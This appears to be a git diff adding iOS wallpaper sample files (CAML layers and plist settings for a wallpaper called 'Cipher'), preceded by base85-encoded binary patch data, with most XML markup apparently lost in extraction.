z&ZNb?Xq~Opw>%cvxV?Wcw}8tWySIMwvbxo)z`4$eq4wBb-R||7$TSThUWA|P=ObwWQ*U3rB$`lH53OO!pnIa1vJfc8QDB5^%|9N z$;qh%2pOo}D0&Yfr&sh>l1=pRXTTXPUExH3!DoTK%*V={K{8^@h_Nnx1e|}0%?@Ct zz6AS<<|1sF^5<3gG4_0Kr7;9_mSvz=^-OdX#)Ku%Wd{l1fjp!CSLw~`a9xd4XRuO= zgXSK)mVl|s-o-%j^QBZ9p@pH7ko}JP%tp0n^BgZ`=J~7@lDG<|Qe=Q#puoP=R)C{D z%(^iA$IAvk1~^*Te^m<1>?m@YfDuoff_kCFWw|klOsD2Tnif14qO=HumfRbfhWeXD z18|LjJ_-w-N0#$Y5Qst}m?9+)z?a96myZ@fJ2S|3&RT`3`PDAMD8iyZqTj(!bCtec zQNX24>ftYs0cM(XH*XWU6wcjrS@rI>jF9cONx`8DA$ftGXD~yD?tUm(_ucz^OR7E^ zU@9#wAOUdE`ylwG!*vCAsw@fp?tI1!#oTNe&-li$DrW(qk8AO95W|PU96ufREGPZW zZFl7ZX!@f1Yz+tR3E20-y6hQMDuiA*pK&mAF%1T97G|na1N7U5`T^He-hM-T1{fS` zLp$4K+cI7$weCGSFmmnRBR3bk%d}+Rlo#={jL^$I4>mmr`4)X|SeiT-RnSk5pd$t`z)=jNqez zm(myS5q>$qw|U7x4qJ`ja*zh93j=p@ku&yXp8Brt)c=Vt_a~7{Tc~jCd!&y9>(C1+ zBLx&;vDz1{sW1{(mZHI(`N6|(D_7PpubB<>NR_n53RaqVS z{rQYK02&HB`9I*rC^=mg5KlpsGKC+YFaScfUJK=-!aSbT|sFUShoQF+9QhhHoSwWgL?Re zFVWo~Fkdv9Q3zshcjwOBn4af3o_;z}!vDEk4$aBwB-TP`G zFGkt?p0Y=AIf1|g5Y-I;FKe?j;P8^bl)9r;sec^P4;U^bCE&k_D9hgJ?^aH4@yo4l>r-Esb4akhLrh+Zj@DEy`D5JYmJL8q6 z8U0#RwIkP`#dlF0=c{r&^jo?|*W>V?Ww!60rq38b?9~eD;cEm83+yxPK$sHv*z|N$ z6gAn|j+(gTU4ENU`^)0Kc(#ss02OZ;6*Xhl2lOqJIVIRFc=VIqAh>nwdi%-kWNJG* zlO3gnXKDaYXHLRR+kj<=ml?gs@i0IR0*dkXA1X`dfN<7@=`6r(HfDRp) z9sIRq@Z#O8I@hifGVyy_;UugCR;=i~JzUuXs5RhdstRYoP&J|+LNpk6<@LPnj+>;L zZBAL1ThQtj_Mz_wDC@#dR`#A&*kM{R9#O198Q^`$_B^oR)AzW1Lpla@0zus0W13bO z(22Cg#IK=24L~QfQJo;@LQUx84Gdgv`ep=g=Ow64(6p=FI%!s=q$<+i^6~dv#7^0n z>#n>Ij=>K68C3pQfvgZrY!Due$2k7c8i;2e&uMGfc9+BvT$i`Mw@@_mhh`&MD`mZA zA)zhjFXRDXQ{X7)_Y7}eAt2qxLRr5<*+!@AzrpbbLaHW(Bn@ItyczG7^i)XMu7Pn?%EyR_!B6cJGg>;f0nFBDkAhEHVxH_nYKQA?&>%iDEcNz zt=?Vd#UIk{iy^n#4#YRVr(wIBp+G+PwYc}zpY^E!tYvH6b&Le`KMnOoNCv=&XTk8c zcR84Fwahc`)Kpm(Q1;)WaTxOmJAY>caDJ7jfT;KdAm-+-xsU&s=C z6zD5k5DB_aI5PtHM_VMFSblyxclC!*%f-EHFSa@rl&{H&@1GlVB2m{4FHde+;D1B& zMKqkrp}Yq%uiO|{AStc)0-s7sD>%6^oJx3-H+;+Kigm zJx2an>pf0u-3UP~N=X|DmpJ|T7e7NHy|`*pmAn!B%C-#YCW=j{3A1G{1x6fnRRaB# zjafjys9{GDW_!v1!}dM_w)gjUO;fm=tPfZPZFVpL5>Qy_dz)TH7bd(LV1nLjd-%^x z>3axsz!2sMpCn9*?jsaoQ0%Mw0fDk#r8jD8X5cV9xJG4@EIol5g@R#A{D7EIK+rI^ ziyHi1;K2QV+WYpnsH*kv=~z)|Qa^uYieTm`j*+05VO+dqMjaJY=E9xvprYKB1{4^W z%;J;+nJF4FM5MspGYksDWq@JS5*3BaHV8OqhY;HcC^n)a48LdXnLX^~>Gyfh=Y8Mv z$NPKPf7Hj#?6sfutnYJM>v^6X32tr}mx`Ie!EJBq+C%J@a-a5&+&Qr&2e<2z7+9nI zR=SWhxe7zU-;q|heaMP+X=k*9Jt%@{(qgcV5t0UaGUaYQlVDJA;cN??m-DHgJBdbG z_sm>5k7xcy01J`}jVs8UocH`j*N*8kg$Oxg3a@N_gV44lQ&l1A!HkZ(FdN)a!vQ)5 zyYJD?Z5x^l)KfPYuSGhcH?;Wj+2B+n5CKw zuE5A|T<^6FidO;RIphEqU^oig5&7$*?O7K{VS~tz`p@h|b*Z=WsRdAu5Q|y+d@7tl zoV1GzhMnt?Qgf^Pza6PyrY=?)vju#dwfYV063%yJRK%nYH%Y_*xSIgDUJP(3P^lE_ z*XqOBN02f<(#`-b@Daep0^p=vz(tYT9~r>8asem5H28wT^;v5#MBbqT2k2Vlk>N&@ zNI*(KF?l-Ml}NFbp;oZ~{02zYbo&-cZF{g)3K&^+`MKU>^kWz{HZTs!Kz#gP%)pCt z8eaJ_Yzo#?xoMNuN_viorfAc!aB^KRa!40Z!5DCC%fV~vAP!g+BZwsAan^yeuoZiu z9f4w%Y+<4mEQ+ZN=@)bY0K^??1N95#j=|y}Jqv6dc#}6VScn;KvYE0@NOq}q*K<5^ zYp~GXKR3wU_x~(bDgSR`mGksX?j*NwZVW6>Fbv*PS|{Hu`}(F#~bD6qHw-bX!4b$xwClrBg! zAF49+h*2;c!vw?bm{$Lo%w01_k;S*M+T$2oWbCihJ1a8@=!dM-uCI&5WJ4Hy6=Xv~ zd13?YXY_9x0AlhY~_DS=)g1MbG;)kRmoI5K8e;@)p$YCtvxj`GjIS3~{wknaz%?Mq* z7)Y60LlqEn$az#X=JD$2E~IYx`dBXRkNm`_+dR9~X2B7!xif7C#CIJlsi&bYb1>mV z+G1YK9I_FGrkbsPXU;4U>9|wpsjxsR3i#H^SYy~c=$^2wHOCBd8dhuh)M15?~Nw<(-YacRLfq9}uXGHE93tHrC z2~V7H@bTHu4oC|uEq^&>tTh>&b9>aewZABq9(S{LWIy8I0nS2PMAgwdkNBXmdr?GYGaO?H%FX@sqyxvUu zTb505H}b*Jw?w6>oUag|g|e-Hg-YQL2VY;g`l5IwQqp8e<>M_jL^Z>H$n}mJ_aYJv z|9~$ejHV9cKxYZdRr=*Z(q&PJ*uGe9E#gO9c8Ne-&Jxw!V3!=t!L?&=X{ywctOz6M z)=w5zzV)Qv5I_6k*#4kjqfce^E<-q54F*3vctTKD15>q@n87_ow>!B4nDQ)TVy9YK z!K{!6(NAOwUC7DMuX2DXKQ>ca`h_R-K@gQ@3YytOb@)T+!5)5t-5f?)x77Kb4oYyzT8V&%kY)Hp7tObG1hzq3M z1Vt{bc?4KR!0jHk<_Mlw{4ub0`sO(K)w^3N1K@Y!xiy4sB>>Bk^oL%p3y`n({273? zN^;K%tZFl`zDr0}7bdNfl(rKk=FD331PD_Z1gapt>pj_O8D^jmz-J$S7MXxeAr@55 z2%8TKzmpveTB~n)QLOh3#!wj>75_x9kK@?R&Fh=UB%hq;TOzR~`;3|ZxDt_4Rz-;A z46a`9DWP{5exk2Jvt2zG4<`zZL0!+Z9H-A?D-_f9A0V=aBZk;X@A#crp;#(|`hhBg z>WCr!ET%FLO&Lu(p3IpcD(zQk!?Us3(xyCc9F3lPOhRJ zR-9yB4fk%rpS+(Q;-?cL!NVC76zG#1=ymAwI}631pv0H3Rd{eu7m)f5qqMYcRx(nO z8OptWawR5Y^opj5(n(uvm`>U$!^zK9c+Hb560JauJN1xIa{2OL|66kuV{Oi0-e0XE zYXF5Eie``8(pFT?Mr2MI5uGs#% z7ruWq8^Cp#ogb`G%V6ypUSy&1L$&q0G{X%$koX^tDRNfI1;IkSKx!_wLhH=az0*X- z!~j1x8}4HS-9aY&XggOSW-94uu!kzEW^f(#ItK)s~Aj!N^X4wnTBRX=A!rDOy?fUK3Q6xBQy?K+;%kx`WmN7 zwsrZR$};D~GDG>D)zTya7vJXy8*w9wTHi$A3Kij&ybvglW$S0*`O>c%_=&Dh`c(?1 zu`h(XevK-$ULDwak;W|`QL8XrP)zNE^~xj5*t@z?ge{)8PML9unn+BXu|hF~NkSWy zZP!Jn69a7d3nJoRHX{k?WH7dfHHcVir$t2U9)bZEu?mxf9wZ54EueY4Rc%CP>*n1C z%p^SMr%y8A>SV!nF4IxZPtTp(j7QW^KyUlU0X^P#h0J1)iq!}(TIpOA!CbmIh^tLB@*BZXZ zWa1YjTM&q1{%2YX5WbKLnC<=&pD>vuQZn{o1*AOdE>2ZgE4blBrC$Y84d4ZYu+2E& zo_L-QnF;s}C7M`F>x#vU7vS;N7-ds&Nr|%}Q!wig*VQV6Gy#}(kf*iBAzH!^FmzxN zi3E)K1IQ!}TJrzlgbBuER@dtl{ ztV%kP>ZT6Zra`UB*x_E>pP-or;R?1o#h|fFY-s~CwJ5l=T4`WTro?cTkS)9xLyk;xY-cw7&!IaJ}RP%ahG_Az0!asS2Fo^IS-9 zu%Eqh2~#-9jsmUST|rrwXsyD-fD0f4;3}#(Hnz$C`VHH5@M*`sUIBi*b4h>Hq|*MB z`-$f9;J@BKx*!$%kSj4K1k!K7Bu-@o9e(!0-CyZAkRs_=(BZI#i4Vow65lkbQnyJ` z)ip^27hYmVmK`|aFFg)oyT$N3Hs=jtGPSSt<<`yCttQio)B<>4J=;JGhVVOol0FFP zrjs7T9$o>CY?`G41ieW-H;}4E*{XD5@rK(~WJj%hy?pe2Fm z#f(GbgVV?{%;Wl6tB4xlw>z0&pzM-5u>7DBsTq(9aZOtB% zP5C_sB)8t$6BqH=h71JBO(q&KTEmg)F2iUgI`v>mPGhuw&-jIrl$L$-aG;si(PK44 z7}ZF`lkvE^N+!~_fVvU}TS}796u`SG&UAgxFD^io)9Y4Q6dPH5U#iZhbrceaMgu~ zW_!b+r%}KGxOz0;SQA|WMIhK(38YnktE1RjnQ_GlIJ|8cg(dU)zK@dAE2)#|qY3(2 zCbb$7D^nj4jQB!;xDR&E#?rD{2ESx{_$_K|PbU>^bcnb?YWFU>0yI`X&G|+f!21mB z>6qB+QS_RlU%CRaQJwS%ecSH!!%O zyEQ;{rcJy0}m`u(1g**p=C7K0!`(H=1a({c+^IH;{%kBe;*D!=% zzI-vG$0jc@ILOma%Jf=c=!Q_~o*)$5%cN2x77A8ZEYP(VcLqjdo>5*oI9jb-%v6_a zY8L1;N)7H79z|{;TXv8518$)g7?=`l&I6WY9aj^KcV`-DbrIp#>u*K~_Ed#FT zg{L&w&aSp5sTACdzp4}2rez;&HdDL4rfh*$bIeTzG{bjL&76f{J~^^Zs$KBCTfm5p z^-SQd+CznSYkIZyLo;Qsg?INtaaHsAcIO&NtxFJ(IHna2^&hHsIAx1tw$#;~qF z@>Wu7FZ%9=&u`*7D=847x?YSo&`<%OlS9O_cP}tI20XtePwHdJi5#ImqV2IAo*Lt7 z5a2s>HH&_rq-FaiiDJPiV~{oA&=oWzWvi>CZ_u@84CEei1?9yJ<~N2KC~%8y2*)Pw z=7D+Z!IQFfS4KP;-U@WvVT#}cEeAzVLE}bQjW%~9xm%10f?1K^5Z_@N2g7hbc&Oce zf;~823HuURtcuyz(#`E|IdhYKf_j3wL!*x>u$ORqf}tCzO(zOjCmR0b*SHFJmrJjB zWTQk6O4gNarG$QWekFsfU<oxgISewf}0kdrxoWlfP{g3SQ)`CVT#85U!cLK^ zM1pMnLMLJZ<~|*+wx}Br1p@MC{m? zGeKX-gY3ayC{Z=BDtJBn=J$w_i6L{;&y>oR7K<%T)ld={M@-Q`B? zmaum0yIvq4{}k4GdojKTPrH&iO^e;Dy0@r=8%5var(J_^v{r-3R7u2MRl|MdmP__Ylqhcth}lF86TeZH0GWHN;fKuk07JF!rFj{SPvwO| zSX=zZVXd5PZUirYLqI0{7{(`WZVlB>4@RUl=B0Noj8n25%jFtc5VfsUtZ@(m^Hg zMq?c(7tZ(XO5^56WRNalPY(o!o=j@wq?Z>XD8s`KI0+{4)kT^zAol=$!E#p@Re@5N zd6Pa|C8@pd+$Zt=colrzp-eDZ3Dy&{C4i~gLzNuPMPg3MBMBZfBRM>0%`@Bn-rsAYJL@ zSHI{jYbt=)IjbmU>vXX`D3_%h-X(Uf*BhT{$>F5etllIteAF^W(Sxz!6)GPPF^#<3 zU^$>EFwgnW*)%bVP|doB!jG5d+msHkq_zMuNO*p za96siMB4%g6&pUrR$~>Kwj^4;h?Cgj5J=@!IKUK7q)3Df^br;n6E-D7;x$jV z;>Tzz7Y?%)20ZB(YsZCiAFT>py7K;BE)O1vs9#{g3Q6mP+?j0vp6wAk_~K+qsAsLF z(5SRbxxcGP%|zB-UPP-iUy z1r4=5z>tW9L22sd^3MafrzV#8^$CCd#z)9a{tlouysa5dzH^unyQzQNXl z4MvEs8t0x`s;pq~4l}#}do^Vs#-SJ^CI-r13KBp=DK_cyYMxm#uBtkS8UnfjjQZ~SN)QbrSJXXDXw)DYO1c&Ux(_mq+qeoEf*)jS zin%}Axn2?r>pehRw(v-IE|QTeUc;@Nc?D#+phrFFxan`)nR~0WKfa-LS&ZlBbq|KrEfX$$2}Vq&-1byI||IhpY*N!=aLU z&nlUCShoLr#*p(8zORIA-FPCN@FkYc8jE=5XZsS(<;>yGPVW2UZ3tp%xs447_PpD& z!D)Bk|F-i&iyizu)k%Cwyx|hINQLkbl&P@e+Q2R>{QOX(svPWB8g65b3+j}hxTj&b zI8L1ey(1#aEL8!Zx6G6~%&!y<@m-3VhWlGPI0@scA?W!GU@;_E%1!%o_EBb*?=4*- z=wpjsY?&)V6A4mX=9b81V5$lh%*kdfWdzyBd=RYgEUufdpGbxU%OkznobdQ|lqS#9J$Fsv zt&$5o6>gAH$*I>{4d}W8>Q+u;m70UK$ni=_!yPYEVDIxSja(z$Jxt$#U(TbjdamxJ z<=R~aOP>IEJCAqlgkWSPJUkIwq^Bu87$g@#vgNMsvskk*IPT2}blxz+SJ$`u)+J-Y zP`soA$c;0EaTVrve`Fn`Z?^7dV0t}yFdO-s!@f|PSt1|QhsF|1xEZN0KP2q}Vc%xm z$XJyx$W(2)!FP9>2X{3BsSadgxT(8A4uSTdp7d*T7g_u^@A(}lgP*rJUmsvkgdk}x zFot42Q;nvi`XlZQ*)CxmlG5VXa*yRZ{0*gaoFN-yK&5d#^1}$nOfFt0 zf)_#3QmO^>!>U1?b(qer)l`Gd?He#H1iqOsuiuvSI{C#~8rh(G^FfD6L7tjtu}S-I z?{L~W{bexf4@!}U-F@TW(#VjIK2?Hfz+vo!d;Wf3IM)YbQ)Rq_3F|o| z6vp?R=cC1Du9^Es+mm)1@-V?nGi1OI`=|m8?4mykMz%Z}j6BGvo8Vy)v5=LCrZ%$# zujo`#b<|z5jHsK(JuiMHneeFyItdPCJLZAZZAwuSC1ip{Kghaz&~Y)(;q_3Z8Cv~C zOU%u}n3;%Q4i~s0&F$xzU~wnlzHVb`{vU-Sv%oCk;Ycd9LER*igsIakYAb59MV60t zkOO=dqG`)?aWJ>^_T>)B3ptDmjK|06I53c9RIvqc*RP;-BIquqUDrp-{c}U@iO!{5 zpC*}fQN#3Wl1_1_Kl~x%FIM9I;!?zKCFX#=D_I5ayFm|gso3d{poN*oVCo?#0y!46 zWb=nWYP5d2mab$xZKc_bx$Se6-&f+SYKpG@+#uh#oZ&F~&%(FW@C7FnkIZ823EZ8Z z9bSp#Hy!+ZMuDN9#(l-ax%xkhbJtV4)g}B;sM`|mEYeJlfeo$M%aQEYqFaVun`K z&3m-i@GZR;HWcDf%xb=7e$q#WDf3=Vxxqz*N448k&;zR_=Ph@=Uu8T+ae}KbT-aRH zr0OqTGM|gAhlEQdLY8I+S0F;boeB^P6ytuPEn+uYq~iFIp0NkwbVvm%)Kr2ID@po5 zvSs7XA776%47}&XQp$@@-r5U?Y?oVCNX1X0yK(PyEP|Q>%Ow_?n~^a8w1d_c>>sXt z0qr&{m+n(&?ZRGfq0S$ct8_MW#IRhlXQ9On`;VxzJnIp%cm?+r?Vilb->dn@=T4g8 z!N$=`Lz5jmt~7?42DP_8ak+KB2f9lMP&2BBUe{_&#@^(%#*miW#LnujJhWxPT(?JR z%LD9tTc?VGj=OFD^(<{lG2Mktv6MSMGz>2st%mT~pd5PWPf`(vlEk`5b>cv0*vR2@ zheM;e>=?RpzaFyjQ|;!?Mi`?rVe z-&I1RBh(qL%OSLm7O32a<^Z@ASyB!CrqIaZ|EPgpAfVQsniiU}t)rvE%aH6+d;3(E zskULM>5kV(vWw>Cw_PUabpn^eOfG9Uul;v%fBY5yB251uXVh)!t+uklJUrVFY^?1&^mGH zsowKWs$05`CfKf>%3!vjkMS0GWmUg^xytx+;Swr;MS7<3T3dbE=mb9qi~;;x7+A+m zf__7-TIs|0!kH)Ib}<<=JjbJ1X~SK5>5#r)VSlTnHP{szkXf$9=a6JKwth6hMwqCV zw9@Ym9&@ex?U2ciC`hwqyKKS7O&8yIOz3#!sa}FCal2s}(@!${(n~yY%EsM>Gp^cg z1^2MO+~JWY=O|k1O$NKf@G&)ZOV%|*ylBgAgQm5vzv}CSV_Gmlx6QUR=?gDEm9#H1 ztHyOq-HB~(o#l}>&ox!3Xay=l@$@ zG(Pw^2gW%t&Vg|bjB{X|1LGVR=fF4z#yK#~fpHFub6}hU{~8B=a+vuA+VyzKII6M# zi1{YX|I|&8@p+ANV4MTv92n=oI0wc#FwTK-4vcePoCE(Kb0GAw3#raUhdwYsmm(hT NgO%Rzmb@e0^ + + + + assetManifest + assetManifest.caml + documentHeight + 844 + documentResizesToView + + documentWidth + 390 + dynamicGuidesEnabled + + geometryFlipped + + guidesEnabled + + interactiveMouseEventsEnabled + + interactiveTouchEventsEnabled + + loopEnd + +infinity + loopStart + 0.0 + loopingEnabled + + multitouchDisablesMouse + + multitouchEnabled + + presentationMouseEventsEnabled + + presentationTouchEventsEnabled + + rootDocument + main.caml + showsTouches + + snappingEnabled + + timelineMarkers + [(null)] + touchesColor + 1 1 0 0.8 + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..920977b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,2650 @@ + + + + + + + + + + + + +

+ + + + + + + + +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml new file mode 100644 index 0000000..f02d9e2 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/assetManifest.caml @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml new file mode 100644 index 0000000..238869b --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/index.xml @@ -0,0 +1,8 @@ + + + + + rootDocument + main.caml + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..e5c0f40 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Floating-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,51 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml new file mode 100644 index 0000000..0c1203c --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/assetManifest.caml @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml new file mode 100644 index 0000000..12c2a04 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/index.xml @@ -0,0 +1,60 @@ + + + + + assetManifest + assetManifest.caml + documentHeight + 844 + documentResizesToView + + documentWidth + 390 + dynamicGuidesEnabled + + geometryFlipped + + guidesEnabled + + interactiveMouseEventsEnabled + + interactiveShowsCursor + + interactiveTouchEventsEnabled + + loopEnd + +infinity + loopStart + 0.0 + loopingEnabled + + multitouchDisablesMouse + + multitouchEnabled + + plugins + + presentationMouseEventsEnabled + + presentationShowsCursor + + presentationTouchEventsEnabled + + rootDocument + main.caml + savesWindowFrame + + scalesToFitInPlayer + + showsTouches + + snappingEnabled + + timelineMarkers + [(null)] + touchesColor + 1 1 0 0.8 + unitsInPixelsInPlayer + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml new file mode 100644 index 0000000..c5b5f71 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Foreground-390w-844h@3x~iphone.ca/main.caml @@ -0,0 +1,38 @@ + + + + + diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/Wallpaper.plist 